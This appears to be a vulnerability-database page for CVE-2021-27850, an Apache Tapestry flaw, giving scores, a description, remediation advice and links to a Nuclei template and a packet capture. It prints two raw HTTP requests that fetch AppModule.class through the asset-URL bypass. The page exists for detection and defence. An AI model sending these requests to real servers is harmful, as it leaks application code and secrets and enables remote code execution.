🔙 목록으로 돌아가기

CVE-2021-27850: Apache Tapestry - Remote Code Execution

TitleApache Tapestry - Remote Code Execution
Authorpdteam
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationApply the latest security patches or updates provided by Apache to fix the vulnerability.
CVSS Score9.8
EPSS Score0.94219
CVE IDCVE-2021-27850
CWE IDCWE-502,CWE-200
Tags cve cve2021 apache tapestry vkev vuln

🔍 Vulnerability Description

Apache Tapestry contains a critical unauthenticated remote code execution vulnerability. Affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. Note that this vulnerability is a bypass of the fix for CVE-2019-0195. Before that fix it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL.

🌐 HTTP Request

GET /assets/app/something/services/AppModule.class/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Origin: http://www.victim.com
Accept-Encoding: gzip
GET /assets/app/EiZP8H/services/AppModule.class/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Connection: close
Origin: http://www.victim.com
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27850.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-27850.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A